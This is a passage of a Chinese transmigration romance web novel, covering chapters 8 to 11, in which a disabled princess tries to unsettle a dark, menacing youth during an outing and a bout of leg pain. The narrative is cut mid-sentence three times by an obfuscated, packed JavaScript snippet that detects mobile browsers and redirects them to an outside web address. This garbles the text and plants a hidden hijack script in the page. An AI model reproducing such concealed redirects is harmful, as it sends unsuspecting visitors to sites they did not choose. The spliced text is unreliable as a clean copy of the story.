苏弱水的眸子与陆泾川相触,她立即垂下头,用美人扇遮面,掩住脸上心虚之色,嘴里还道:“日头真大。” 今天日头确实不错,只是此处是背阴点,哪里有什么日头。 陆泾川扯了扯唇,脖颈后面不疼,就是痒。 苏弱水用扇子遮光,由王妈妈推着往街上去。 陆泾川跟在旁边,手里撑着一柄墨绿色的油纸伞。 伞面斜斜落下,罩住苏弱水半个身影。 苏弱水不太喜欢人多的地方,一名护卫兵牵着马车去寻地方停,他们三人连带着另外一名护卫兵往前面人少的铺子去。 路过一家首饰店的时候,苏弱水突然朝陆泾川看了一眼,然后吩咐王妈妈要进去看看。 店主人一看苏弱水的装扮就知道这是一位贵人,立刻上前恭谨接待。 苏弱水让王妈妈推着她在店里转了一圈,最后随意挑了一对青海料的白玉镯子。 苏弱水也不懂镯子的成色啊,品相之类的,像这样的县城店铺大概率也出不了什么好东西,她只是想让陆泾川帮她戴镯子,然后恶心他一下。 “帮我戴上试试。” 苏弱水伸出一双手腕,凝脂白玉似得,看起来甚至比那双镯子都要好看。 苏弱水听到少年轻轻地吐出一口气,像是在叹息。 白玉镯子被拿起,轻轻往女人的手上推。 因为是第一次给别人戴镯子,所以少年并不熟练,只是一味的往里面推。 幸好,虽然镯口窄小,但女人的手也纤细,很轻松就推进去了,连她的一点皮都没有碰到。 苏弱水皱了皱眉。 等第二只镯子被陆泾川拿起要往她腕子上戴的时候,她故意弯了指尖。 青葱似得指头蜷缩在少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595782|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌心,顺着他的掌心往上滑。 陆泾川拿着镯子没动,任由苏弱水伸直胳膊,贴着他的手掌将镯子戴了上去。 苏弱水不是一个喜欢戴饰品的人,当然也不是她不爱美,只是戴着这些东西平日里生活不方便,而且总觉得被拘束住了。 “小姐戴上这对镯子简直就跟天女下凡似的。”老板为了业绩也是拼命,“您肌肤这样白,戴这对镯子可真是太好看了。” 夸人的词汇简直贫乏至极,怪不得没什么客人。 不过其实这老板说的也是实话。 小县城的地方,哪里见过苏弱水这等金玉堆砌起来的美人。像这样廉价的镯子,以前连被她看一眼的资格都没有,现在戴在她的腕子上,硬生生让这对镯子升了好几个档次。 她实在是适合白色,尤其是这种纯粹的白。 “好看吗?”苏弱水朝陆泾川的方向伸了伸胳膊。 少年始终低着头,看不清表情。 苏弱水看到他往后退了两步,似乎是在躲避她的手,然后听到他囫囵的话,“嗯。” 有效果! 苏弱水很高兴。 “妈妈,付钱。” 买完镯子,时间也不过才过了一会。 苏弱水觉得她需要缓一缓,也觉得不能一口气将陆泾川逼得太紧。 正好到了午餐时间,三人便往附近酒楼去了。 玲珑阁是附近最出名的一家酒楼。 苏弱水的口味是江南菜,正巧这家也是做江南家常菜的。 玲珑阁一共三层,苏弱水在一楼要了一个包厢。 玲珑阁靠河,打开窗户便能看到一条清澈的河流。河面上飘着一些船,现在虽是五月,但这些船夫不知道从哪里摘来了莲花,放在船头装着水的木盆里,粉白色的看起来好看极了。 “小姐,要买莲花吗?一朵二十个铜板。” 船夫抬起晒得黝黑的脸。 对于普通人家来说,一个月辛苦工作大概也只能攒下几十个铜板,因此,像这样的奢侈品花卉都是要看着人卖的,比如像眼前这位一看就不缺钱的贵人。 那船夫挑了最好看的一只,努力朝苏弱水展示。 这是一株小小的单瓣莲花,还是花苞形状,粉白柔软,缀着露珠,看起来被养得不错。 苏弱水点了点头,然后就见那船夫立刻露出笑颜,让旁边同行的船夫看管一下自己的船只,小心翼翼捧着莲花往玲珑阁来。 王妈妈去接了花,付了银子,然后替苏弱水拿进来。 美人捧着莲花在怀里,粉白颜色,没有全部绽放,呈现出一股含苞欲放的美。 五月的空气里带上了清荷的花香,苏弱水看到有船娘为了宣传自己的莲花,折了一支戴在发髻上。 苏弱水朝陆泾川看一眼。 少年正单手托着下颚往窗外看,也不知道在看什么。 河面荡漾,船夫将船从窗前挪开。被船只荡出涟漪的河面缓慢归于平静,河面上女人的倒影也恢复清晰。 陆泾川眨了眨眼,听到苏弱水唤他。 他转过头,看到女人朝他勾了勾指尖。 陆泾川盯着她看了一会,缓慢起身,隔着一张桌子弯腰凑上去。 苏弱水趁机将一支莲花插在了他头上。 含苞欲放的荷花,朱砂色的发带,白皙精致的少年面孔,因为苏弱水突兀的举动,所以少年一向又黑又沉的眸中意外带上一股天真的迷惘之色。 陆泾川虽然是个阴暗疯批,但这张脸实在是太迷惑人了。 就是那种好看,百看不厌的好看。 看起来单纯又无害,让人无下限的卸下心防。 女人的手从他发间抽离,留下那支小莲花,收回的时候不小心碰到了他的耳廓,轻轻一擦,随即略过。 这真不是苏弱水有意的。 可少年却几乎是立刻就伸手揉了揉他的耳朵。 王妈妈看着两人亲近,笑得眉眼都快看不到了。 陆泾川知道自己的毛病,他讨厌别人碰他。可现在他却发现,自己对这位郡主的触碰并不觉得讨厌。 甚至……有些隐秘的兴奋感从血肉里升腾起来。 他不太清楚这是什么感觉。 这种感觉跟他划开那位惠安郡主脖颈时的感觉很像,不,比那次还要更兴奋些。 9. 第 9 章 桌子上摆着古代菜单,写在纸质食单上。 苏弱水挑了几样,然后又询问坐在她对面的陆泾川,“你吃什么?” 两人难得和谐,少年低垂眉眼,视线从食单上略过,最后道:“都行。” 少年不挑食,什么都吃。 挨饿的滋味可不好受。 他单手托腮的动作变成了单手抚耳。 耳廓处的热度还没下去,可分明那只手擦过去的时候是冷的,他却热的厉害。 窗户半开,陆泾川的视线不由自主又往下去。 河面上有船过去,将女人倒影在河面上的身形打散,然后又慢慢聚拢。 她的耳朵上缀着珍珠坠子,细细一条,下面是一颗圆润的白色珍珠,简单,干净,把她整个人衬得越发高洁,像……天上的月亮。 陆泾川使劲摩擦了一下耳廓,想到山洞里女人哭得眉眼绯红的模样。 等菜无聊,苏弱水又抬起手腕欣赏新买的镯子。 镯子肯定不是很值钱的好东西,不过胜在原身肤白貌美,将这对镯子衬托的十分好看。 有光从窗户口照入,苏弱水抬起手,看着光线将镯子照得微微透明,能看清楚里面的玉质不是很均匀,水线比较多。 苏弱水正欣赏着,没意识到自己的手已经横在了桌面上。 店小二过来上菜,“小姐,小心烫。” 苏弱水下意识侧身避开,一只手突然伸出来,一把握住她的手腕,制止她的动作。 下一刻,店小二从侧边将手里的蒸鱼放到桌子上。 如果她刚才往侧边躲了,倒是正好会撞到这蒸鱼。 蒸鱼是连鱼带盘一起蒸的,稍微碰到一点边缘都会被烫伤。 苏弱水心有余悸,回神之后发现自己的手还被陆泾川牵着。 她下意识想抽手,却不想手腕处少年的力道突然加强。 还不等苏弱水蹙眉,陆泾川直接松开手,朝苏弱水露出一个笑,“小心。” 说完,他拿起置在木托盘里的湿帕子开始擦手。 这么嫌弃她? 原本苏弱水还想着明日再继续跟陆泾川的“肌肤之亲”,现在她突然改变主意了。 “替我擦一擦。” 她朝少年伸出手。 - 很多事情都是一回生,二回熟。 面对苏弱水的“刁难”,少年隐忍着照单全收。 看着坐在那里仔仔细细替她擦拭双手的陆泾川,苏弱水出神的想,真能忍啊。 女人的手白皙脆弱,纤薄柔软,没有一点茧子。 握在掌中,真的像一块琼脂一样。 陆泾川下意识收紧力道,那只手如水般柔软,彷佛要从他的指缝间滑走。 “好了,可以了……” 苏弱水使劲抽手,手都要被捏碎了。 陆泾川表情不变,他把手里的湿帕放回托盘里,然后又开始擦自己的手。 苏弱水自己揉了揉疼痛的手,神色疑惑地看他一眼。 难道是生气了? 生气好啊。 苏弱水瞬间就觉得心情舒畅了,连手疼都不在意了。 正巧这时店小二将剩下的菜上齐了。 东坡肉、拍黄瓜、油闷茭白、地三鲜,摆在中间的蒸鱼的热气泛着白雾,是条白丝鱼。 苏弱水不太爱吃鱼,因为她不会剔鱼刺,所以就没动。 陆泾川倒是跟他说的一样,完全不挑食。 每个碗里都放了木勺子,王妈妈自己先不用膳,还在旁边替她布菜,并顺便也给陆泾川布了。 少年微笑道谢。 王妈妈不肯一起坐,秉持着主奴标准,自己坐了旁边的小桌,那两个护卫兵也跟王妈妈坐在一处用膳。 因此,这里就剩下陆泾川和苏弱水。 原身胃口小,吃几口就饱了。 苏弱水端起面前的清茶吃了一口,不怎么样,就换成了白水,慢吞吞地喝。 那边陆泾川还在吃。 虽然是奴隶出身,但陆泾川吃饭的样子却一点都不邋遢。 苏弱水猜测果然还是脸加分。 毕竟少年吃饭的样子并不算优雅。 陆泾川正是长身体的时候,一个人将剩下的饭菜吃完了,碗碟被打扫的干干净净。 苏弱水有些怪异地看他一眼,莫名觉得陆泾川身上多了几分活人感。 吃完饭,店小二送了水果过来。 一小篮子新鲜杨梅。 苏弱水挑了一颗杨梅放进嘴里。 初熟的杨梅很大一颗,圆润饱满,颜色鲜艳,女人压着唇瓣往里送,吃得腮边鼓起。 好甜。 “尝尝。” 她朝陆泾川抬了抬下颚,示意他尝一尝。 自以为找到了拿捏陆泾川的小手段,苏弱水心情好极了,再也不会瞪着他看了,反而看着他笑眯了眼,像只吃到了零食之后在阳光里慵懒舔毛的小猫儿。 少年的目光从她翘起的唇角略过,慢条斯理拿起一颗杨梅。 阳光从窗户口透进来,照得少年指尖透白,红色的杨梅被他拿在手里,赤艳至极。 苏弱水觉得陆泾川很适合红色。 浓烈的,粘稠的红。 杨梅入口,果然很甜。 “妈妈,你也尝尝。”苏弱水招呼王妈妈。 王妈妈只吃了一颗,并没有多用,她提着小篮子看着剩下的杨梅,“倒是能做壶杨梅酒。” 苏弱水眼睛瞬间就亮了,可惜,她的腿还没好,吃药的时候不能饮酒。 “小姐,要坐船吗?只要两个铜板。” 河里除了卖莲花的,还有摇船的,有两种乘坐方式。一种类型是水上公交,另外一种是包了一艘船带着你在河里转悠,看看江南水乡风景。 苏弱水在现代的时候坐过两次这种船,来回二三十块钱,大概持续半个小时,带着你在河里绕一圈,加钱的话还有船夫或者船娘唱歌助兴,一般唱得不好听,不过凑得就是一个热闹。 苏弱水腿不方便,有些犹豫。 王妈妈提着小篮子建议道:“难得来一趟,下次还不知道什么时候再来,郡主去试试吧。” 来都来了。 苏弱水点头。 作为郡主,苏弱水自然不差钱,她让王妈妈去替她寻了一艘干净整洁的小船包下来。 小船不大,长一丈多,宽三尺左右,停靠在杨柳飘飘的岸边。船娘衣着虽朴素,但洗得极其干净,手里拿着一根撑杆,小心将船靠岸。 小船用蓝布做船篷,前后有檐,虽无大船青雀黄龙之舳,也无舸舰迷津之势,却多了几分独属于江南的风流浪漫。 苏弱水被陆泾川抱着上了小船,王妈妈跟在两人身后,小船容不下那么多人,两个护卫兵沿着岸边跟随。 小船挤下三人,船娘站在船头,小心将船只调转方向。 今日庙会,人多船也多,船只缓慢,苏弱水趴坐在垫着毯子的小船上,隔着蓝色篷布望向船外。 青砖黑瓦白墙,一水的江南特色。 低矮的房屋,水滴型的屋檐,水边的石阶上爬满了青苔。 蓝色篷布轻轻飘动,两岸的人往河中看,美人头戴白色帷帽斜侧于船头,微微扶趴着。 苏弱水正看得尽兴,感觉自己的心情都随着水波变好了之时,她突然发现坐在她对面的陆泾川有些不对劲。 少年紧抿着唇,神色盯着船篷,双瞳之中印出蓝色的篷布,整个人绷紧着。 怕水? 苏弱水不解,隔着帷帽歪头看他。 陆泾川是个极其敏锐的人,也正因为有这份兽类一般的第六感,所以他才能逃脱晋王暗卫的追捕。 更何况,苏弱水并没有刻意隐藏自己的视线。 因此,陆泾川一下子就捕捉到了。 他跟她对视,少年脸色苍白,斑驳的阳光从船篷缝隙照进来,陆泾川闭了闭眼,努力维持体面。 “你怕水?”苏弱水轻声开口。 陆泾川摇头,正巧小船顺着河道拐弯。 古代的小船都是使用人力的,不像某些景区里面用的是电动船,虽然现代还残留着一些偏远小镇使用人力船,但极少。 因为是人力,再加上河道窄小,船又多,所以在拐弯的时候就晃动的更加厉害。 陆泾川单手撑着身体,下颚收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595783|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧,马尾垂落,掩住半张脸。 苏弱水突然明白了什么。 “你晕船?” 少年没有摇头也没有点头,他攥着衣摆,努力稳住身形。 “晕船?小公子之前坐过船吗?”王妈妈听到这话,立刻满脸担忧。 陆泾川摇头,还企图维持着那副皮相,朝王妈妈扯出一个苍白的笑,“没坐过。” 因为没坐过船,所以不知道自己晕船。 虽然很不道德,但难得看到陆泾川吃瘪的样子,苏弱水忍不住流露出几分幸灾乐祸的表情来。 五月的天穿过船篷,吹起她轻薄的帷帽,少年眼睛一瞥,看到女人脸上没来得及收回的笑。 被抓包了。 苏弱水立刻整理了一下自己的帷帽,挡住面容,“你晕得厉害吗?要下船吗?” 少年的目光穿过帷帽幽幽而来,也不说话,就这样盯着她看。 虽然隔着一层帷帽,但苏弱水却觉得自己要被盯穿了。 突然,少年弯腰,抓起她的裙裾抵在唇边,像是要吐。 “不要!”苏弱水惊呼一声,伸手去扯她的裙子。 她力气小,扯不过陆泾川,眼睁睁看着少年用她的裙裾擦嘴,然后慢条斯理的松开,苍白的面容上浮出歉意,“脏了,郡主。” 陆泾川没吐,她的裙裾上沾的大概是他的口水。 湿漉漉深色一片。 - 因为陆泾川晕船,所以他们提前上了岸。 苏弱水坐在轮椅上,看着自己裙裾上的污渍被阳光一照,显得更加明显。 苏弱水并不是矫情的人,可身上衣裙带着别人的口水这件事让她觉得非常不舒服。 她用指尖捻着那一点裙角,黛眉蹙起,很是嫌弃。 “郡主,前面有家成衣坊。”王妈妈眼尖地看到前面一家成衣坊。 苏弱水点头,由王妈妈推着她往前去。 因是小县城,所以衣服的款式皆有些陈旧,苏弱水看了一圈,勉勉强强挑了一条月白素色的裙子。 “是我弄脏了郡主的裙,我来付账。”陆泾川晕船的感觉似乎过去了,他走到柜台前,从腰间掏出钱袋子付账。 苏弱水也没有拦他,王妈妈这边推着她去成衣铺里头的试衣间换上了这条新裙子。 面料虽差了些,但也算能穿。 换了衣裳,苏弱水又逛了一会,买了许多东西堆在马车里。 日头渐渐落下去,晚霞的余晖氤氲在天际,漱云缥缈,压着群山。 王妈妈吃多了茶水,将苏弱水送到马车上后就去寻地方如厕了。 苏弱水靠在马车里,略无聊的把玩着手腕上的镯子。 陆泾川坐在马车帘子处,视线偏过去,逼仄的马车内,女人正在玩那对镯子。 她耳垂上缀着的珍珠坠子贴着脖颈,新换上的裙是个低领,将她纤瘦的脖颈完全袒露了出来。 很白,很细,像天鹅起飞之时仰起的弧度。 突然,女人顿住动作,像是想明白了什么事,视线一下转到他脸上。 “你故意的。” 陆泾川微笑,“什么?” “裙子,你故意的。” 故意拿她的裙子擦嘴,只因为她笑话他晕船。 苏弱水脏了的裙子被王妈妈叠好放在马车里,她抬手指向角落的裙子,上面的深色印记已经几乎看不到了。 少年脸上并不显慌张之色,非常淡定道:“郡主误会我了。” 玩心眼,苏弱水是玩不过他的。 陆泾川低头,看一眼苏弱水的新裙子,散开的月白裙摆浸润着月色光华。面料有些粗糙,很明显配不上眼前的明月美人,不过这般美人,就算披个麻袋都好看,只是怕粗糙了她的肌肤。 “别碰。” 苏弱水伸手把自己的裙摆往里藏了藏,远离陆泾川。 少年无聊的把头转过去。 马车内陷入寂静。 王妈妈去的有些久,苏弱水揉了揉自己的腿,感觉有些不对劲。 她偏头朝外面看,日头很好,没有下雨的征兆。 熟悉的麻木感袭来,苏弱水开始忍不住抽气。 10. 第 10 章 一开始,苏弱水还抱有侥幸,希望只是普通的麻木感,是她躺久了,只要稍微揉一揉就好了。 毕竟自从那位神医替她治疗过后,她已经有小半月没有疼过了。 可等那股麻木感变成针扎感后,她知道,她逃不掉了。甚至因为腿部神经恢复的好,所以疼痛感比之前更强了! 王妈妈还没回来,马车内只有陆泾川和她。 疼痛感一层一层叠加,苏弱水额头沁出细密的冷汗,一会儿就浸湿了鬓角。 “帮我去找王妈妈……”苏弱水努力发声,让护卫兵去寻王妈妈。 马车晃了一下,其中一位护卫兵消失在人群里。另外一位护卫兵小心揭开帘子看一眼,眉头皱起,却不知该怎么办,下意识将视线转到陆泾川脸上。 少年托腮望着马车窗子,似乎没有察觉到她的异常。 疼痛迅速加剧,黑色的碎发黏在苏弱水脸上,她低低的喘气,企图缓解疼痛,可没什么用。 疼痛蔓延的很快,苏弱水抖着嘴唇,面色惨白。 她朝陆泾川的方向伸手,却因为两人相隔距离有些远,所以她并没有碰到他。 “疼……”苏弱水张嘴,疼痛令她无法说话,甚至不小心咬到了舌头。 血腥气涌上来,跟着一起流出来的还有她的眼泪。 少年依旧撑着下颚坐在那里,也不知道在看什么。 苏弱水艰难抬手抓住一侧美人扇,朝陆泾川砸了过去。 美人扇轻飘飘砸在少年背上,少年终于转头。 他望向马车内半身蜷缩的女人,马车外光线晦暗下来,连带着马车内也跟着暗了好几个度。 苏弱水的双眸被泪水笼罩,她看不清陆泾川的表情,只一味朝他伸手。 陆泾川低头看了一眼那美人扇,拿起来,放到苏弱水手边。 “疼……”苏弱水终于抓住人。 她死死拽着他的衣摆,艰难吐气。疼痛的双腿抬起,无意识的往陆泾川胳膊上踩。 女人漂亮的眉眼皱成一团,可依旧好看,像一颗破碎的玻璃珠子。 少年歪着头坐在那里,无动于衷的样子,“郡主方才说,让我别碰。” 疼痛让理智灼烧,苏弱水的脑子里只剩下:只要不疼,让她干什么都行。 “我错了……我错了……”美人泪水涟涟,只会重复这三个字。 原身的母亲是南方人,苏弱水本身也是江南人,说话的时候带了一点软糯的江南调子。 “那郡主是让我碰了?”陆泾川的指尖绕着自己猩红色的发带,视线落在她被泪水糊了一脸的白细面容上。 苏弱水疼得抽搐,“嗯……碰碰我……” 少年笑了,抬手打落帘子,将护卫兵的视线隔绝在外。 - 苏弱水的裙裾散开,浑身无力地靠在陆泾川怀里。 少年身形单薄,抱着她的时候能感受到他嶙峋的骨头。 苏弱水靠得不太舒服,可因为身上没有力气,所以也只能无奈选择接受。 陆泾川的手法跟王妈妈一模一样,甚至更好,他的力气比王妈妈大,按压穴位的时候也更准确。 这套按摩手法被那位神医称赞过,说日后不管腿疼还是不疼,都可以按一按,对恢复有帮助。 苏弱水第一次感谢男主的天赋异禀。 聪明的人不管学什么,都比别人快稳好。 普通人常常还没理解,聪明人就已经做完了。 苏弱水想她跟陆泾川的差距应该就是普通人跟聪明人的区别。 一个人不会因为穿书了,所以突然就变得很聪明。她仗着原身的身份和知道剧情这个金手指,想要让陆泾川吃瘪,可少年每次都能化解。 苏弱水颓丧地靠在他的臂弯里,眼皮下垂,眼眸红红的,像只斗败了的小猫儿,连尾巴都摇不起来了。 陆泾川的指尖捻着女人汗湿的鬓发,然后慢条斯理的替她勾到耳后,露出侧颜。 苏弱水歪头靠在陆泾川身上,眼睫颤动,呼吸很轻。 双腿上的疼痛已经过去,精神上的恐惧感却还没消除,苏弱水暂时不想离开陆泾川。 好乖。 陆泾川视线下移,看到那截细白脖颈,沾着香汗。 少年的指腹正大光明地擦过女人的后颈,留下一道鲜红的胭脂色印子。 急匆匆奔回来却还是晚了一步的王妈妈打了帘子进来,就看到自家郡主红着眼眶,满脸泪痕的模样,登时面色大惊,“郡主!” 王妈妈将苏弱水揽到自己怀里,苏弱水埋首其中,整个人嵌进去。 陆泾川坐在原处,看着女人依赖的模样,缓慢收了自己的胳膊。 “郡主又腿疼了?”王妈妈伸手替苏弱水揉捏小腿。 苏弱水发出很轻的声音,然后微微摇了摇头,“已经不疼了。” 王妈妈撩开一小截裤脚一看,雪肤之上透出青紫痕迹,斑驳的指骨印记层层叠叠。 王妈妈下意识看向陆泾川。 少年抬头,脸上露出担忧,“郡主没事吧?我没什么经验。” 王妈妈低头看了一眼埋在自己怀里的苏弱水,“小公子处理及时,应当没什么大碍。”说完,王妈妈从腰间的药瓶子里取出一颗药丸塞进她嘴里,这药是那神医给的,效果是止痛和安眠。 喂完药,王妈妈赶紧吩咐马车夫赶车回驿站。 马车辘辘行驶起来,吃了药又累极了的苏弱水身子往下滑。 王妈妈赶忙将人托住,然后小心翼翼放倒在软垫上,又取了帕子出来替苏弱水擦汗,看着自家郡主这副模样,王妈妈自个儿也忍不住红了眼眶,可又不敢出声,只得闷声自己哭,显然是心疼坏了。 陆泾川靠在马车壁上,托着下颚,低头俯视躺在那里的苏弱水。 天色暗得很快,马车内没有点灯,只马车外一点风灯摇摇晃晃。 苏弱水不安地蹙眉,伸手去攥王妈妈的手。 王妈妈反手握住她的手,轻轻拍着她的背脊安抚。 苏弱水发出小猫一样的哼唧声,梦魇的动静消失了。 陆泾川视线上移,看到苏弱水跟王妈妈交握的双手,然后往下,看着被王妈妈轻抚的纤瘦背脊。 她实在是瘦,大抵是因为生病,所以吃得少,薄薄一片,漂亮的肩胛骨都能透过衣物看到隐约形状。 外面不知何时下起了雨。 窸窸窣窣地砸在马车帘子上。 雨不大,模糊了风灯的光。那光从缝隙里透进来,在人的身上冒出一层莹润的光,看起来圣洁又温暖。 小菩萨。 陆泾川眯眼看着躺在那里的苏弱水,脑中突然就冒出这三个字。 随后,他冷不丁嗤笑一声。 笑声被雨声掩盖,没有任何人发现。 这位郡主太心软了。 既然决定不救,那就应该不管到底。 最厉害的招数也不过就是给他摆个脸色,或者搞一些幼稚可爱的小手段。像这样心软的人,是怎么活下来的呢,嗯?反正在他那个世界里,一定早就被吞噬入腹了。 陆泾川移开视线。 马车到了,王妈妈红着眼眶抬眸看向陆泾川,“小公子替我看顾一下郡主,我方才如厕回来时不甚崴了脚,不太好行走,我去唤刘大人。” 原来王妈妈是因为崴了脚,所以才去了那么久。 “好,妈妈去吧。” 得到陆泾川的肯定回答,王妈妈打了伞,一瘸一拐下了马车。 王妈妈握着苏弱水的手被抽离,睡梦中的女人又开始焦躁不安起来。 她连眼睛也没有睁开就伸出手,胡乱地抓。 陆泾川看着她的模样,歪头,停顿了一会之后伸出了自己的手。 指尖刚刚触到她的掌心,就被一把攥住了。 苏弱水吃了药,神思混沌,攥着别人的手贴在心口。 指尖隔着衣物,陆泾川能感受到苏弱水渐渐平稳下来的心跳声。 外面的雨还在下,两人的心跳声渐渐趋于一致。 这种心跳相连的感觉让陆泾川感到有些神奇。 刘飞来了,他年过四十,因为常年练武,所以身型硬朗。 陆泾川看着他从自己身边将苏弱水抱起,他的手也被女人毫不犹豫的抛弃。 指尖还残留着女人汗湿的温度,陆泾川视线往前,苏弱水早就已经靠在了刘飞身上。 王妈妈在旁撑伞,刘飞抱着苏弱水上了驿站二楼。 谁都可以吗?还靠得那么近。 因为这个真相,所以少年脸上一闪而过一抹烦躁,甚至连他自己都没有注意到。 - 苏弱水被放到屋中,窗户紧闭,雨水打着木窗子,湿透了一楼的芭蕉。刚才在马车上睡了一觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595784|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药效过去,她也没有那么困了。 那边,陆泾川刚刚才从马车内下来,他一手撑伞,一手替仆从们一起搬运今日买的那些东西。 “妈妈。”身后突然传来一道柔软清亮的少年音。 王妈妈回头,看到站在自己身后的陆泾川,还有他手里提着的几个礼盒,赶紧接过来。 少年收伞,雨滴散落在二楼的木制地板上。 陆泾川的声音有点懒洋洋的,“郡主怎么样了?” 王妈妈道:“好些了,多亏了那位神医,这次虽疼得厉害,但很快就过去了。”说完,王妈妈突然看向陆泾川,眼神饱含期待,“小公子要进去看看郡主,陪陪她吗?” 陆泾川对上王妈妈的视线,笑道:“郡主看起来很累,我现在过去会不会打扰到她?” 王妈妈赶忙摇头,“小公子,您与郡主是亲人,怎么会打扰呢。” 亲人吗? 陆泾川垂目将手里的雨伞竖放在门口,伞面上的雨水顺着木地板蜿蜒而下。 陆泾川想了想,点头道:“好。” - 苏弱水的困顿还没消下去,她迷迷糊糊盯着头顶的帐子看,绿色的帐子上绣着花卉,一团团,一簇簇,锦绣花团一片的挤在一起。 “吱呀”一声,屋门被人打开。 “妈妈,我要喝水。” 苏弱水声音虚弱地唤一声。 刚才她疼得出了一身冷汗,现在只觉口渴难耐。 一只手拨开外头素色的帘子,然后又拨开里面绿色的帐子。 苏弱水躺在那里,后颈被人托起,然后一杯水被喂到她唇边。 苏弱水垂着眉眼喝了两口,觉得差不多了,便用手轻轻推了一把身边的人。 身侧之人退开,“不要了?” 苏弱水猛地一下睁大眼,终于看清楚身边站的人是谁。 她低低喘出一口气,忍住质问。 女人体弱,五月的天,外头的花都开了,空气里冒着热气,陆泾川都穿上了薄衫,她屋内居然还生着一个炭盆。 炭盆火力很旺,女人的脸被熏得微红,像上了一层胭脂似得。她黑发披散,躺在锦绣被褥之中,如同一颗被金玉掩在里面的珍珠。 陆泾川从进来开始便觉得有些闷热,肌肤火一样烫,连带着看向女人的眼神似乎都带上了一股炙感。 虽然苏弱水极力压抑,但一双眸子之中依旧透出一股惶惶感来,水漾漾的。 对上陆泾川的眼神,她下意识咬唇避开。 陆泾川的表现跟她的计划完全相反。 按照苏弱水的谋算,陆泾川现在应该对她厌恶非常,避之不及,反正不会是如今这般态度。 现在竟然还托着她给她喂水。 “饿吗?”少年再次开口。 屋内不亮,他刻意压低了声音,显得声线柔和许多。 她再次望向少年的眼睛,太黑太深,令人猜不透想法。 脖颈处接触过少年指尖的肌肤突兀变得古怪起来,像是被火撩了一把似得。 “不饿。” 话罢,两人陷入一阵沉默。 苏弱水捏着被角没有说话。 少年则是安静地站在那里,半个身影隐在黑暗中。 虽然看不真切,但苏弱水总觉得陆泾川在看她。 看她垂在榻边的发,看她搭在被褥上的手,看她惊惶不安的眼眸。 “今日的郡主好像跟从前不一样。”终于,少年打破安静。 他把玩着手上的茶碗,指尖无意识擦过茶沿边带着一点湿润的水渍,那是女人刚才喝水的地方。 少年的视线沉甸甸地落下来,好像能将她看穿。 苏弱水刚刚喝下去的水又变成汗流了出来,她觉得窝在被褥里的自己汗津津的。 难道是被他发现自己的小心思了吗? 屋内只点了一盏琉璃灯,晕黄的灯光照亮暗室,衬出柔和的光线。 苏弱水不确定陆泾川到底对她的计划知道多少,可她尚对自己的计划存有几分信心,觉得陆泾川可能是在诈她。 陆泾川一定是厌恶被人触碰的。 他现在这般作态应该是在忍耐。 为了成为原主的弟弟,这点忍耐当然是能忍得了的。 苏弱水捏着被褥一角,想了许久,才想到一个合理的回答,“就是想……跟你亲近些。” 11. 第 11 章 苏弱水去神医处治腿已有半月,她现在能撑着拐棍走路了,只是走得很慢。 神医让她多走走,大概率是需要她多进行复健活动。 苏弱水撑着拐棍在院子里慢吞吞地走,抬头的时候正看到刘飞领着陆泾川从外面回来。 短短几月,少年早已被养得褪去了那股营养不良的颓废模样,整个人都大变样。 穿着上等红色骑装衣袍,腰间革带悬挂弓箭、箭囊,小刀和茄袋等物,身下骑着一匹枣红色骏马,眉眼透着独属于少年的张扬之色,颇有几分鲜衣怒马少年郎的意思。 这两人应该是刚刚骑马回来。 自从苏弱水将那封证明陆泾川身份的书信寄出去后,刘飞和王妈妈再也不掩饰对陆泾川的喜爱,除了还未改口,一切规矩几乎已经按照对世子的标准来了。 吃穿用度,几乎与她一致。 陆泾川看到院子里的苏弱水,女人上面是一件月白撒花交领袄,下面一条翡翠撒花裙,披着一件绣兰花的白色披风,清凌凌地站在树下,清冷淡雅至极。 她就那么看着他,眼神很淡,左手绕着佛珠,慢吞吞地拨弄,像是在思考什么事情。 她的表情总是有些冷淡,只有在极疼痛时才会露出不一样的颜色。 浅淡的唇会变红,吐出他喜欢听的话。 我错了。 碰碰我。 苏弱水的视线跟陆泾川对上。 少年脸上笑意更甚。 她朝陆泾川招了招手。 阳光下,女人指尖微粉,那是指甲天然自带的颜色。 陆泾川翻身下马,朝她走去。 走近了,能看到女人那张表情淡泊的脸上露出的细微抗拒,眼神游移,像是在打什么小算盘。 “郡主。”陆泾川垂眸,拱手行礼。 苏弱水走累了,她挪到石凳上坐下来。她从怀里掏出帕子,看了一眼两人的身高差,无奈地撑着身子再站起来,替他擦汗。 